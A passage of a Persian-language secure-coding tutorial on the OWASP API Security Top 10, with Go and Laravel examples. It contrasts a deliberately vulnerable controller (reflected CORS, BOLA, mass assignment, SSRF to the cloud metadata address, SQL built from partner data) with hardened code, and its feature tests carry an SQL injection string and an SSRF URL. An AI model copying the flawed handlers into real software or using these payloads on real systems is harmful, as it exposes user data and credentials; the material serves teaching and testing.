func ErrorBefore(w http.ResponseWriter, err error) {
http.Error(w, err.Error(), http.StatusInternalServerError)
}
// CORSBefore reflects any Origin and allows credentials: every web page can
// read the logged-in user's API responses.
func CORSBefore(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Access-Control-Allow-Origin", r.Header.Get("Origin"))
w.Header().Set("Access-Control-Allow-Credentials", "true")
next.ServeHTTP(w, r)
})
}
// Problem is an RFC 9457 problem details body.
type Problem struct {
Type string `json:"type"`
Title string `json:"title"`
Status int `json:"status"`
Instance string `json:"instance,omitempty"`
}
// Error logs the detail server-side under a correlation id and sends the
// client a generic problem document carrying only that id.
func Error(w http.ResponseWriter, r *http.Request, log *slog.Logger, err error) {
var b [8]byte
_, _ = rand.Read(b[:])
id := hex.EncodeToString(b[:])
log.Error("internal_error", slog.String("error_id", id), slog.String("path", r.URL.Path), slog.String("err", err.Error()))
w.Header().Set("Content-Type", "application/problem+json")
w.WriteHeader(http.StatusInternalServerError)
_ = json.NewEncoder(w).Encode(Problem{Type: "about:blank", Title: "Internal Server Error", Status: 500, Instance: "urn:error:" + id})
}
// CORS allows exactly the listed origins and says so in Vary.
func CORS(allowed map[string]bool, next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Add("Vary", "Origin")
if o := r.Header.Get("Origin"); allowed[o] {
w.Header().Set("Access-Control-Allow-Origin", o)
w.Header().Set("Access-Control-Allow-Credentials", "true")
}
next.ServeHTTP(w, r)
})
}نگاه Go
- مسیر، متد را هم حمل میکند. یادداشت Go 1.22 میگوید "The patterns used by net/http.ServeMux have been enhanced to accept methods and wildcards" و "A pattern with a method takes precedence over a matching pattern without one." ثبت مستقل
DELETE /api/users/{id}policy مستقل در جدول مسیر میدهد و متد ثبتنشده خودکار ۴۰۵ میگیرد. گونهٔ «تغییر GET به DELETE» از BFLA بهکمک همین ساختار بسته میشود. - principal در
context.Contextحرکت میکند. Middleware احراز هویت یک مقدار نوعدار زیر کلید exportنشده ذخیره میکند؛ handler باprincipal.From(ctx)میخواند. شناسهٔ فراخواننده را در مسیر، هدر یا فیلد بدنهای که handler به آن اعتماد کند نگذارید. Chi، Echo و Gin همین الگو را با context خود دارند. - فریمورک policy ندارید؛ تابع بنویسید. تست واحد
CanView(u, o) boolبا جدول کاربران × اشیا ساده است. سیستم بزرگتر از همان نقطه موتور بیرونی را صدا میزند: OPA با Rego، Cedar، یا OpenFGA/SpiceDB برای بررسی رابطهمحور. شکل handler تغییر نمیکند. encoding/jsonپیشفرض سهلگیر است.json.Unmarshalفیلد ناشناخته را نادیده میگیرد و کلید را بدون حساسیت به بزرگی حروف تطبیق میدهد؛{"Role":"admin"}بهRoleمدل bind میشود. Decode به DTO ورودی باDisallowUnknownFields، اعتبارسنجی همهٔ فیلدها در مقدارهای محلی و فقط سپس کپی آنها، شکل Goیی$fillableاست؛ درخواست ردشده هیچ تغییری نمیدهد. برای خروجی، DTO هر مخاطب از tagهایjson:"-"مدل بهتر است؛ tagها فهرست ممنوعاند.- پیشفرض کلاینت
net/httpبرای مرورگر است، نه شریک.http.DefaultClienttimeout ندارد: "A Timeout of zero means no timeout"؛ تا ۱۰ redirect را دنبال میکند و در صورت امکان بدنه را در ۳۰۷/۳۰۸ دوباره میفرستد. کلاینت شریک بایدhttp.Clientمستقل باTimeout،CheckRedirectو transport با تنظیم TLS داشته باشد؛ بدنه ازio.LimitReaderمیگذرد. database/sqlمقدار را bind میکند. مقدار کاربر و بالادستی هر دو آرگومان$1/?هستند. scope مانندAND tenant_id = $2در متن SQL است که مالک آن کد است.- ثبت لاگ.
log/slogبا JSON handler رخداد ساختیافتهٔauthz_failمیدهد. یادداشت Go 1.21: "The new log/slog package provides structured logging with levels". request id را از context اضافه کنید.
Laravel
مثال: Policy، Gate، Form Request، API resource، limiter، چرخهٔ عمر و کلاینت HTTP محافظتشده
Controller آسیبپذیر عمداً طراحی بد دارد؛ هر متد یک ضعف و همه پشت auth:sanctum هستند. فایل مسیر آن حالت قبل API9 است: بدون نسخهبندی، کپی zombie در /v1 و مسیر debug سایه:
<?php
namespace App\Http\Controllers\Before;
use App\Models\Order;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Http;
// Bad design on purpose: one controller, one flaw per method, all of them
// behind auth:sanctum. Authentication is fine; authorization is missing.
class ApiController
{
// API1 BOLA: any logged-in user reads any order by changing the id.
public function showOrder(string $id)
{
return Order::findOrFail($id);
}
// API3 BOPLA (excessive data exposure): the whole model goes out,
// including mfa_secret, role and recent_location; the mobile app
// "just doesn't show them".
public function showUser(User $user)
{
return response()->json($user->makeVisible(['mfa_secret'])->toArray());
}
// API3 BOPLA (mass assignment): forceFill() bypasses #[Fillable], which
// is exactly what an #[Unguarded] model (or protected $guarded = [])
// does to update(): {"role":"admin","blocked":false} is written.
public function updateProfile(Request $request)
{
$request->user()->forceFill($request->except(['id', 'password']))->save();
return response()->noContent();
}
// API5 BFLA: the admin export sits next to user routes, protected only by
// the fact that the admin console is the only screen that calls it.
public function exportUsers()
{
return User::all();
}
// API6: correct code, unprotected flow. A script buys the whole drop.
public function checkout(Request $request)
{
DB::table('products')->where('sku', $request->input('sku'))
->where('stock', '>=', 1)->decrement('stock');
return response()->noContent();
}
// API10: the provider's answer is trusted, redirects are followed,
// and the value is spliced into SQL.
public function enrich(Request $request)
{
$business = Http::get('http://geo-partner.example/lookup', [
'q' => $request->input('address'),
])->json();
DB::insert("INSERT INTO businesses (name) VALUES ('{$business['name']}')");
return response()->noContent();
}
// API2: a stolen token is enough to move the account to a new e-mail.
public function changeEmail(Request $request)
{
$request->user()->forceFill(['email' => $request->input('email')])->save();
return response()->noContent();
}
// API7: the server fetches whatever URL the client names:
// picture_url=http://169.254.169.254/latest/meta-data/ or localhost:8080.
public function importAvatar(Request $request)
{
$image = Http::get($request->input('picture_url'))->body();
$request->user()->forceFill(['avatar' => base64_encode($image)])->save();
return response()->noContent();
}
// API8: the exception travels to the client, and any Origin may read it
// with the user's credentials.
public function report(Request $request)
{
try {
return DB::select('SELECT * FROM report_v2 WHERE tenant_id = ?', [$request->user()->tenant_id]);
} catch (\Throwable $e) {
return response()->json([
'error' => $e->getMessage(),
'trace' => $e->getTraceAsString(),
], 500)->withHeaders([
'Access-Control-Allow-Origin' => $request->header('Origin'),
'Access-Control-Allow-Credentials' => 'true',
]);
}
}
// API4: ?per_page=10000000 is honoured.
public function listOrders(Request $request)
{
return $request->user()->orders()->paginate($request->integer('per_page', 20));
}
}<?php
use App\Http\Controllers\Before\ApiController;
use Illuminate\Support\Facades\Route;
// API9 before: no version prefix, no inventory, and two routes nobody
// remembers. The /v1 copy was "temporary" when v2 shipped; the debug route
// was added during an incident. In the lab app this file is
// routes/before.php, mounted under /api/before in local and testing only
// (bootstrap/app.php), so the feature tests can watch every flaw happen.
Route::middleware('auth:sanctum')->group(function () {
Route::get('/orders', [ApiController::class, 'listOrders']);
Route::get('/orders/{id}', [ApiController::class, 'showOrder']);
Route::get('/v1/users/{user}', [ApiController::class, 'showUser']); // zombie: old shape, no throttle
Route::patch('/me', [ApiController::class, 'updateProfile']);
Route::put('/me/email', [ApiController::class, 'changeEmail']);
Route::get('/admin/users', [ApiController::class, 'exportUsers']); // no can:admin
Route::post('/checkout', [ApiController::class, 'checkout']);
Route::post('/enrich', [ApiController::class, 'enrich']);
Route::post('/avatar/import', [ApiController::class, 'importAvatar']);
Route::get('/report', [ApiController::class, 'report']);
Route::get('/debug/env', fn () => ['app' => config('app')]); // shadow: never in the spec
});تستهایی که با دیدن هر نشت در این مسیرها قبول میشوند؛ فقط در محیط testing زیر /api/before نصب میشوند:
<?php
namespace Tests\Feature;
use App\Models\Order;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Http;
use Laravel\Sanctum\Sanctum;
use Tests\TestCase;
// Every test here PASSES BY OBSERVING THE LEAK on the vulnerable routes
// (Before/routes.php, mounted at /api/before in the testing environment).
// ApiSecurityTest runs the same attacks against the fixed routes.
class BeforeLeaksTest extends TestCase
{
use RefreshDatabase;
private function orderFor(User $owner): Order
{
$order = new Order;
$order->forceFill(['user_id' => $owner->id, 'tenant_id' => $owner->tenant_id, 'number' => 'B-1', 'status' => 'paid', 'total_cents' => 250000])->save();
return $order;
}
public function test_api1_ana_reads_bobs_order(): void
{
$bobsOrder = $this->orderFor(User::factory()->create());
Sanctum::actingAs(User::factory()->create());
$this->getJson("/api/before/orders/{$bobsOrder->id}")
->assertOk()->assertJsonPath('total_cents', 250000);
}
public function test_api3_whole_model_and_mass_assignment(): void
{
$sam = User::factory()->create();
$ana = User::factory()->create();
Sanctum::actingAs($ana);
$this->getJson("/api/before/v1/users/{$sam->id}")
->assertOk()->assertJsonPath('mfa_secret', 'JBSWY3DPEHPK3PXP')->assertJsonPath('role', 'user');
$this->patchJson('/api/before/me', ['name' => 'Ana', 'role' => 'admin', 'blocked' => false])->assertNoContent();
$this->assertSame('admin', $ana->fresh()->role);
}
public function test_api5_user_exports_every_account(): void
{
User::factory()->count(3)->create();
Sanctum::actingAs(User::factory()->create());
$this->getJson('/api/before/admin/users')->assertOk()->assertJsonCount(4);
}
public function test_api2_email_changes_on_token_alone(): void
{
$ana = User::factory()->create();
Sanctum::actingAs($ana);
$this->putJson('/api/before/me/email', ['email' => 'attacker@example.net'])->assertNoContent();
$this->assertSame('attacker@example.net', $ana->fresh()->email);
}
public function test_api4_one_request_returns_every_row(): void
{
$ana = User::factory()->create();
DB::table('orders')->insert(collect(range(1, 500))->map(fn ($i) => [
'tenant_id' => 7, 'user_id' => $ana->id, 'number' => "A-{$i}", 'status' => 'paid', 'total_cents' => 100,
])->all());
Sanctum::actingAs($ana);
// 500 rows in one response: the server did all the work the client asked for.
$this->getJson('/api/before/orders?per_page=100000')
->assertOk()->assertJsonCount(500, 'data');
}
public function test_api6_one_account_buys_without_limit(): void
{
Sanctum::actingAs(User::factory()->create());
DB::table('products')->insert(['sku' => 'console-x', 'stock' => 10]);
foreach (range(1, 10) as $i) {
$this->postJson('/api/before/checkout', ['sku' => 'console-x'])->assertNoContent();
}
$this->assertSame(0, DB::table('products')->where('sku', 'console-x')->value('stock'));
}
public function test_api7_server_fetches_the_metadata_endpoint(): void
{
$ana = User::factory()->create();
Sanctum::actingAs($ana);
Http::fake(['169.254.169.254/*' => Http::response('role-credentials')]);
$this->postJson('/api/before/avatar/import', ['picture_url' => 'http://169.254.169.254/latest/meta-data/'])->assertNoContent();
$this->assertSame(base64_encode('role-credentials'), $ana->fresh()->avatar);
}
public function test_api8_error_and_reflected_cors(): void
{
Sanctum::actingAs(User::factory()->create());
$this->withHeader('Origin', 'https://evil.example')->getJson('/api/before/report')
->assertStatus(500)
->assertSee('report_v2')
->assertHeader('Access-Control-Allow-Origin', 'https://evil.example');
}
public function test_api9_shadow_debug_route_is_live(): void
{
Sanctum::actingAs(User::factory()->create());
$this->getJson('/api/before/debug/env')->assertOk()->assertJsonStructure(['app' => ['key']]);
}
public function test_api10_partner_text_becomes_sql(): void
{
Sanctum::actingAs(User::factory()->create());
Http::fake(['geo-partner.example/*' => Http::response(['name' => "x'), ('injected"])]);
$this->postJson('/api/before/enrich', ['address' => '1 Main St'])->assertNoContent();
// One INSERT intended, two rows written: the partner wrote SQL.
$this->assertSame(2, DB::table('businesses')->count());
}
}API1: رابطههای مدل، Policy با پاسخ ۴۰۴ برای شیء بیگانه، و controller با scopeِ tenant و فراخوانی Gate::authorize:
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
// No Fillable attribute: orders are created by server code with explicit
// assignments, so every attribute stays guarded (the Eloquent default).
class Order extends Model
{
public function user(): BelongsTo
{
return $this->belongsTo(User::class);
}
}<?php
namespace App\Policies;
use App\Models\Order;
use App\Models\User;
use Illuminate\Auth\Access\Response;
// Found by policy discovery (App\Models\Order -> App\Policies\OrderPolicy).
// One place answers "may this user act on this order?"; controllers call it,
// they do not re-implement it.
class OrderPolicy
{
public function view(User $user, Order $order): Response
{
if ($order->tenant_id !== $user->tenant_id) {
return Response::denyAsNotFound();
}
return $order->user_id === $user->id || $user->role === 'support'
? Response::allow()
: Response::denyAsNotFound();
}
public function update(User $user, Order $order): Response
{
// Support may read but not change orders.
return $order->tenant_id === $user->tenant_id && $order->user_id === $user->id
? Response::allow()
: Response::denyAsNotFound();
}
}<?php
namespace App\Http\Controllers;
use App\Models\Order;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Gate;
class OrderController
{
// API1: two layers. The query is scoped to the caller's tenant, so a
// foreign tenant's row cannot even load; the policy then decides owner
// vs support and answers 404 for both "missing" and "not yours".
public function show(Request $request, string $id)
{
$order = Order::query()
->where('tenant_id', $request->user()->tenant_id)
->findOrFail($id);
Gate::authorize('view', $order);
return $order->only(['id', 'number', 'status', 'total_cents', 'created_at']);
}
// API4: the page size is clamped on the server.
public function index(Request $request)
{
$perPage = min(max($request->integer('per_page', 20), 1), 100);
return $request->user()->orders()->select(['id', 'number', 'status', 'total_cents'])
->orderByDesc('id')->cursorPaginate($perPage);
}
}API3: فهرست مجاز نوشتن مدل با #[Fillable]؛ شکل property با $fillable/$guarded در comment است. #[Hidden] پشتوانهٔ خواندن است، Form Request کلیدهای متعلق به سرور را ممنوع میکند و JsonResource نقش DTO پاسخ را دارد:
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Attributes\Fillable;
use Illuminate\Database\Eloquent\Attributes\Hidden;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Laravel\Sanctum\HasApiTokens;
// Write side: the allow-list of properties a request may mass-assign.
// Laravel 12 and older code write the same thing as properties:
// protected $fillable = ['name', 'email'];
// protected $guarded = ['role', 'blocked', 'tenant_id']; // a block-list: avoid
// Read side: #[Hidden] keeps secrets out of toArray()/toJson(), but the
// response DTO (UserResource) is the real allow-list for output.
#[Fillable(['name', 'email'])]
#[Hidden(['password', 'remember_token', 'mfa_secret'])]
class User extends Authenticatable
{
use HasApiTokens, HasFactory;
public function orders(): HasMany
{
return $this->hasMany(Order::class);
}
public function isAdmin(): bool
{
return $this->role === 'admin';
}
}<?php
namespace App\Http\Requests;
use Illuminate\Foundation\Http\FormRequest;
// API3 write side: the Form Request is the input DTO. Only the keys in
// rules() survive $request->validated(); server-owned keys are rejected
// loudly with 422 instead of being silently dropped.
class UpdateProfileRequest extends FormRequest
{
public function authorize(): bool
{
// The route is /me: the subject is always the caller.
return $this->user() !== null;
}
public function rules(): array
{
return [
'name' => ['sometimes', 'string', 'max:100'],
'role' => ['prohibited'],
'blocked' => ['prohibited'],
'tenant_id' => ['prohibited'],
];
}
}<?php
namespace App\Http\Resources;
use Illuminate\Http\Request;
use Illuminate\Http\Resources\Json\JsonResource;
// API3 read side: the response DTO. Properties are listed one by one, so a
// new column is private until someone decides to publish it here.
class UserResource extends JsonResource
{
public function toArray(Request $request): array
{
$self = $request->user()?->id === $this->id;
return [
'id' => $this->id,
'name' => $this->name,
'email' => $this->when($self, $this->email),
'role' => $this->when($self || $request->user()?->isAdmin(), $this->role),
];
}
}<?php
namespace App\Http\Controllers;
use App\Http\Requests\ChangeEmailRequest;
use App\Http\Requests\UpdateProfileRequest;
use App\Http\Resources\UserResource;
use App\Models\User;
use App\Services\RemoteImageFetcher;
use Illuminate\Http\Request;
class ProfileController
{
// Profiles are visible inside the caller's tenant only (API1), and the
// resource decides which properties (API3).
public function show(Request $request, string $id)
{
$user = User::query()
->where('tenant_id', $request->user()->tenant_id)
->findOrFail($id);
return new UserResource($user);
}
public function update(UpdateProfileRequest $request)
{
// validated() holds only the keys in rules(); #[Fillable] is the
// second fence if someone later passes the wrong array.
$request->user()->update($request->safe()->only(['name']));
return response()->noContent();
}
public function changeEmail(ChangeEmailRequest $request)
{
$user = $request->user();
$user->email = $request->validated('email');
$user->email_verified_at = null;
$user->save();
// Revoke other tokens so a thief's copy stops working.
$user->tokens()->where('id', '!=', $user->currentAccessToken()->id)->delete();
return response()->noContent();
}
// API7: the URL goes through the allow-list fetcher; a refused URL is 422.
public function importAvatar(Request $request, RemoteImageFetcher $fetcher)
{
$data = $request->validate(['picture_url' => ['required', 'url:https', 'max:2048']]);
try {
$image = $fetcher->fetch($data['picture_url']);
} catch (\InvalidArgumentException) {
return response()->json(['message' => 'This image URL is not allowed.'], 422);
}
$request->user()->forceFill(['avatar' => base64_encode($image)])->save();
return response()->noContent();
}
public function me(Request $request)
{
return new UserResource($request->user());
}
}API2: تغییر ایمیل به current_password نیاز دارد:
<?php
namespace App\Http\Requests;
use Illuminate\Foundation\Http\FormRequest;
// API2: a sensitive change needs the current password, not just a token.
class ChangeEmailRequest extends FormRequest
{
public function authorize(): bool
{
return $this->user() !== null;
}
public function rules(): array
{
return [
'email' => ['required', 'email', 'max:254', 'unique:users,email'],
'current_password' => ['required', 'current_password:sanctum'],
];
}
}API5: controller مدیریتی با attributeِ #[Middleware] در Laravel 13 دوباره بررسی میکند:
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Resources\UserResource;
use App\Models\User;
use Illuminate\Routing\Attributes\Controllers\Middleware;
// API5: the admin function carries its own check (Laravel 13 controller
// attribute), in addition to the can:admin group in routes/api.php. If the
// route is ever moved out of the admin group, the check moves with it.
#[Middleware('can:admin')]
class UserExportController
{
public function __invoke()
{
return UserResource::collection(User::query()->orderBy('id')->cursorPaginate(100));
}
}API6: سقف کاربر و دستگاه، بررسی زمان غیرانسانی و کاهش اتمی موجودی:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use RuntimeException;
// API6: the business rule written down. The throttle:checkout limiter
// (AppServiceProvider) caps attempts per user and per product; this
// controller caps units per user and per device for the drop, and refuses
// requests that look automated.
//
// Why not "count purchases, then insert"? Two concurrent requests both read
// count = 1 (below the cap of 2), both insert, and the user ends with 3:
// a plain SELECT takes no lock, and SELECT count(*) ... FOR UPDATE is
// rejected by PostgreSQL for aggregates. Instead each cap is a counter row
// changed by ONE conditional UPDATE ("... WHERE count < cap"): the database
// row-locks it, the second writer re-evaluates the condition after the
// first commits, and 0 affected rows means "cap reached". Stock uses the
// same pattern. All three run in one transaction, so a refusal rolls back
// the counters that were already taken.
class CheckoutController
{
private const MAX_PER_USER = 2;
private const MAX_PER_DEVICE = 2;
private const MIN_SECONDS_IN_CART = 1;
public function __invoke(Request $request)
{
$data = $request->validate([
'sku' => ['required', 'string', 'max:64'],
'device_id' => ['required', 'string', 'max:128'],
]);
$user = $request->user();
$cartItem = DB::table('cart_items')
->where('user_id', $user->id)->where('sku', $data['sku'])->first();
if ($cartItem === null || now()->diffInSeconds($cartItem->created_at, true) < self::MIN_SECONDS_IN_CART) {
// Non-human pattern: add-to-cart and checkout within a second.
return response()->json(['challenge' => 'captcha'], 428);
}
try {
DB::transaction(function () use ($data, $user) {
$this->takeOne($data['sku'], 'user', (string) $user->id, self::MAX_PER_USER, 'limit');
$this->takeOne($data['sku'], 'device', $data['device_id'], self::MAX_PER_DEVICE, 'limit');
$taken = DB::table('products')->where('sku', $data['sku'])
->where('stock', '>=', 1)->decrement('stock');
if ($taken === 0) {
throw new RuntimeException('sold_out');
}
DB::table('purchases')->insert([
'user_id' => $user->id,
'sku' => $data['sku'],
'device_id' => $data['device_id'],
'created_at' => now(),
]);
});
} catch (RuntimeException $e) {
return $e->getMessage() === 'sold_out'
? response()->json(['message' => 'Sold out.'], 409)
: response()->json(['message' => 'Limit reached for this item.'], 429);
}
return response()->noContent();
}
// Atomic "increment if below cap": the row exists after insertOrIgnore,
// and the conditional increment is a single UPDATE statement.
private function takeOne(string $sku, string $scope, string $key, int $cap, string $reason): void
{
DB::table('purchase_caps')->insertOrIgnore(['sku' => $sku, 'scope' => $scope, 'key' => $key, 'count' => 0]);
$affected = DB::table('purchase_caps')
->where(['sku' => $sku, 'scope' => $scope, 'key' => $key])
->where('count', '<', $cap)
->increment('count');
if ($affected === 0) {
throw new RuntimeException($reason);
}
}
}Service provider: تعریف Gate با نام admin، تبدیل هر رد به لاگ authz_fail با Gate::after، سقف کاربر و منبع، preventSilentlyDiscardingAttributes و خاموشکردن redirectِ HTTP خروجی:
<?php
namespace App\Providers;
use App\Models\User;
use Illuminate\Auth\Access\Response;
use Illuminate\Cache\RateLimiting\Limit;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Gate;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Support\ServiceProvider;
class AppServiceProvider extends ServiceProvider
{
public function boot(): void
{
// API5: one named ability for every admin function.
Gate::define('admin', fn (User $user) => $user->isAdmin());
// Logging and alerting for authorization failures: every denied
// gate or policy check becomes an authz_fail event (OWASP logging
// vocabulary). Alert on the rate per user, not on single events.
Gate::after(function (User $user, string $ability, mixed $result, mixed $arguments) {
$denied = $result === false || ($result instanceof Response && $result->denied());
if ($denied) {
$subject = $arguments[0] ?? null;
Log::warning('authz_fail', [
'user_id' => $user->id,
'ability' => $ability,
'resource' => is_object($subject) ? $subject::class : $subject,
'object_id' => $subject instanceof Model ? $subject->getKey() : null,
]);
}
});
// API4 and API6: rate limits per user and per resource.
RateLimiter::for('api', function (Request $request) {
return Limit::perMinute(120)->by($request->user()?->id ?: $request->ip());
});
RateLimiter::for('checkout', function (Request $request) {
return [
Limit::perMinute(5)->by('user:'.$request->user()?->id),
Limit::perMinute(300)->by('sku:'.$request->input('sku')),
];
});
// API3 in development: fail loudly when code mass-assigns a
// property that is not in #[Fillable].
Model::preventSilentlyDiscardingAttributes($this->app->isLocal());
// API10: no outgoing call follows redirects unless it opts in.
Http::globalOptions(['allow_redirects' => false]);
}
}API9 و API8: middleware چرخهٔ عمر با Deprecation، Sunset، Link جانشین و ۴۱۰ پس از sunset؛ فایل bootstrap/app.php با alias آن و closure رندر problem details؛ فایل مسیر نسخهدار:
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Http\Request;
use Illuminate\Support\Carbon;
use Symfony\Component\HttpFoundation\Response;
// API9: versioning and deprecation as code. Routes of a deprecated version
// carry Deprecation (RFC 9745) and Sunset (RFC 8594) headers and a link to
// the successor; after the sunset date the version answers 410 Gone instead
// of living on as a zombie API.
class ApiLifecycle
{
public function handle(Request $request, Closure $next, string $deprecatedAt, string $sunset, string $successor = ''): Response
{
$sunsetAt = Carbon::parse($sunset);
$headers = [
'Deprecation' => '@'.Carbon::parse($deprecatedAt)->getTimestamp(),
'Sunset' => $sunsetAt->toRfc7231String(),
];
if ($successor !== '') {
$headers['Link'] = '<'.$successor.'>; rel="successor-version"';
}
if (now()->greaterThanOrEqualTo($sunsetAt)) {
return response()->json(['message' => 'This API version has been retired.'], 410, $headers);
}
$response = $next($request);
$response->headers->add($headers);
return $response;
}
}<?php
use App\Http\Middleware\ApiLifecycle;
use Illuminate\Auth\Access\AuthorizationException;
use Illuminate\Auth\AuthenticationException;
use Illuminate\Foundation\Application;
use Illuminate\Foundation\Configuration\Exceptions;
use Illuminate\Foundation\Configuration\Middleware;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Route;
use Illuminate\Support\Str;
use Illuminate\Validation\ValidationException;
use Symfony\Component\HttpKernel\Exception\HttpExceptionInterface;
return Application::configure(basePath: dirname(__DIR__))
->withRouting(
api: __DIR__.'/../routes/api.php',
health: '/up',
then: function () {
// The chapter's vulnerable routes (Before/routes.php), for the
// feature tests and the lab only. Never mounted in production.
if (app()->environment(['local', 'testing'])) {
Route::middleware('api')->prefix('api/before')->group(base_path('routes/before.php'));
}
},
)
->withMiddleware(function (Middleware $middleware): void {
$middleware->alias([
'api.lifecycle' => ApiLifecycle::class,
]);
})
->withExceptions(function (Exceptions $exceptions): void {
// API8: unexpected errors on the API become an RFC 9457 problem
// document with a correlation id; the detail goes to the log only.
// Expected outcomes (401, 403, 404, 422, 429 ...) keep Laravel's own
// rendering, so the closure returns null for them.
$exceptions->render(function (Throwable $e, Request $request) {
if (! $request->is('api/*') || config('app.debug')
|| $e instanceof HttpExceptionInterface
|| $e instanceof ValidationException
|| $e instanceof AuthenticationException
|| $e instanceof AuthorizationException) {
return null;
}
$id = (string) Str::uuid();
Log::error('internal_error', ['error_id' => $id, 'path' => $request->path(), 'exception' => $e]);
return response()->json([
'type' => 'about:blank',
'title' => 'Internal Server Error',
'status' => 500,
'instance' => 'urn:error:'.$id,
], 500, ['Content-Type' => 'application/problem+json']);
});
})
->create();<?php
use App\Http\Controllers\Admin\UserExportController;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\OrderController;
use App\Http\Controllers\ProfileController;
use Illuminate\Support\Facades\Route;
// Every route is in this file, versioned, and mirrored in openapi.yaml,
// which CI diffs against `php artisan route:list --json` (API9).
Route::middleware(['auth:sanctum', 'throttle:api'])->group(function () {
Route::prefix('v2')->group(function () {
Route::get('/me', [ProfileController::class, 'me']);
Route::patch('/me', [ProfileController::class, 'update']);
Route::put('/me/email', [ProfileController::class, 'changeEmail']);
Route::get('/users/{id}', [ProfileController::class, 'show']);
Route::post('/me/avatar/import', [ProfileController::class, 'importAvatar']);
Route::get('/orders', [OrderController::class, 'index']);
Route::get('/orders/{id}', [OrderController::class, 'show']);
Route::post('/checkout', CheckoutController::class)->middleware('throttle:checkout');
// API5: admin functions are grouped AND each controller checks again.
Route::prefix('admin')->middleware('can:admin')->group(function () {
Route::get('/users', UserExportController::class);
});
});
// API9: the old version keeps working until its sunset, loudly.
Route::prefix('v1')
->middleware('api.lifecycle:2026-06-30T23:59:59Z,2026-12-31T23:59:59Z,/api/v2/orders')
->group(function () {
Route::get('/orders/{id}', [OrderController::class, 'show']);
});
});API10: کلاینت شریک با TLS، timeout، بدون redirect، سقف اندازه، اعتبارسنجی و binding:
<?php
namespace App\Services;
use App\Support\BoundedBody;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Validator;
use RuntimeException;
// API10: third-party API trust is earned per field. TLS only, short
// timeouts, no redirects, a size cap applied while streaming (not after the
// whole body is in memory), the same validation as user input, and bindings
// when the value reaches SQL.
class AddressEnrichment
{
private const MAX_BYTES = 65536;
public function enrich(string $address, int $tenantId): void
{
$response = Http::baseUrl('https://geo-partner.example')
->connectTimeout(2)
->timeout(5)
->withOptions(['allow_redirects' => false, 'stream' => true])
->acceptJson()
->get('/lookup', ['q' => $address]);
if ($response->status() !== 200 || ! str_starts_with((string) $response->header('Content-Type'), 'application/json')) {
throw new RuntimeException('Upstream refused: status '.$response->status());
}
$payload = json_decode(BoundedBody::read($response, self::MAX_BYTES), true, 16, JSON_THROW_ON_ERROR);
$data = Validator::make(is_array($payload) ? $payload : [], [
'name' => ['required', 'string', 'max:200'],
'city' => ['required', 'string', 'max:80', 'regex:/^[\pL .\'-]+$/u'],
'country' => ['required', 'string', 'size:2', 'alpha:ascii'],
])->validate();
DB::insert(
'INSERT INTO businesses (tenant_id, name, city, country) VALUES (?, ?, ?, ?)',
[$tenantId, $data['name'], $data['city'], strtoupper($data['country'])],
);
}
}خوانندهٔ محدود مشترک هر دو کلاینت شریک: ابتدا رد Content-Length بزرگ، سپس stream تا سقف:
<?php
namespace App\Support;
use Illuminate\Http\Client\Response;
use RuntimeException;
// API4/API10: read at most $maxBytes of a response that was requested with
// withOptions(['stream' => true]), so an oversized body is refused before it
// is buffered. A declared Content-Length above the cap is refused without
// reading anything; a missing or lying Content-Length is caught while reading.
final class BoundedBody
{
public static function read(Response $response, int $maxBytes): string
{
$declared = $response->header('Content-Length');
if ($declared !== '' && (! ctype_digit($declared) || (int) $declared > $maxBytes)) {
self::close($response);
throw new RuntimeException('Upstream body too large (Content-Length '.$declared.')');
}
$stream = $response->resource();
$body = '';
while (! feof($stream) && strlen($body) <= $maxBytes) {
$chunk = fread($stream, 8192);
if ($chunk === false) {
break;
}
$body .= $chunk;
}
fclose($stream);
if (strlen($body) > $maxBytes) {
throw new RuntimeException('Upstream body larger than '.$maxBytes.' bytes');
}
return $body;
}
private static function close(Response $response): void
{
$response->toPsrResponse()->getBody()->close();
}
}API7: fetcher با فهرست مجاز برای URL تصویر ارسالی کاربر؛ مصرفشده در ProfileController::importAvatar:
<?php
namespace App\Services;
use App\Support\BoundedBody;
use Illuminate\Support\Facades\Http;
use InvalidArgumentException;
// API7: fetch user-supplied image URLs only from allow-listed hosts, over
// https on 443, without userinfo, IP literals or redirects. The DNS-rebinding
// defence (resolve, check the IP, pin it) is SafeHttpClient in the OWASP
// Top 10 chapter; this class is the allow-list layer in front of it.
class RemoteImageFetcher
{
private const ALLOWED_HOSTS = ['images.example-cdn.com', 'secure.gravatar.com'];
private const MAX_BYTES = 5_242_880;
public function fetch(string $url): string
{
$parts = parse_url($url);
$host = strtolower($parts['host'] ?? '');
if (($parts['scheme'] ?? '') !== 'https'
|| isset($parts['user']) || isset($parts['pass'])
|| (isset($parts['port']) && $parts['port'] !== 443)
|| filter_var(trim($host, '[]'), FILTER_VALIDATE_IP) !== false
|| ! in_array($host, self::ALLOWED_HOSTS, true)) {
throw new InvalidArgumentException('Destination not allowed');
}
$response = Http::connectTimeout(2)->timeout(5)
->withOptions(['allow_redirects' => false, 'stream' => true])
->get($url);
if ($response->status() !== 200
|| ! str_starts_with((string) $response->header('Content-Type'), 'image/')) {
throw new InvalidArgumentException('Remote image rejected');
}
